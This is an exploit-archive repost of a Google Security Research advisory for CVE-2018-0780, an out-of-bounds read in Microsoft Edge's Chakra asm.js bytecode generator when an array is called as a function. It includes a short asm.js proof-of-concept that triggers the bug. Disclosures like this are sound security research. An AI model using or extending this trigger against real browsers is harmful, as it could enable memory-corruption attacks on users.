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Microsoft Edge Chakra AsmJSByteCodeGenerator::EmitCall Call Handling

Microsoft Edge Chakra AsmJSByteCodeGenerator::EmitCall Call Handling
Posted Jan 18, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from an AsmJSByteCodeGenerator::EmitCall call handling bug.

tags | exploit
advisories | CVE-2018-0780
MD5 | 1c7860ec256452b1d95a1e70975c4a35

Microsoft Edge Chakra AsmJSByteCodeGenerator::EmitCall Call Handling

Change Mirror Download
Microsoft Edge: Chakra: AsmJSByteCodeGenerator::EmitCall call handling bug 

CVE-2018-0780


AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.

PoC:
function Module() {
'use asm';
function f() {
arr();
}

function g() {
}

var arr = [g];
return f;
}

let f = Module();
f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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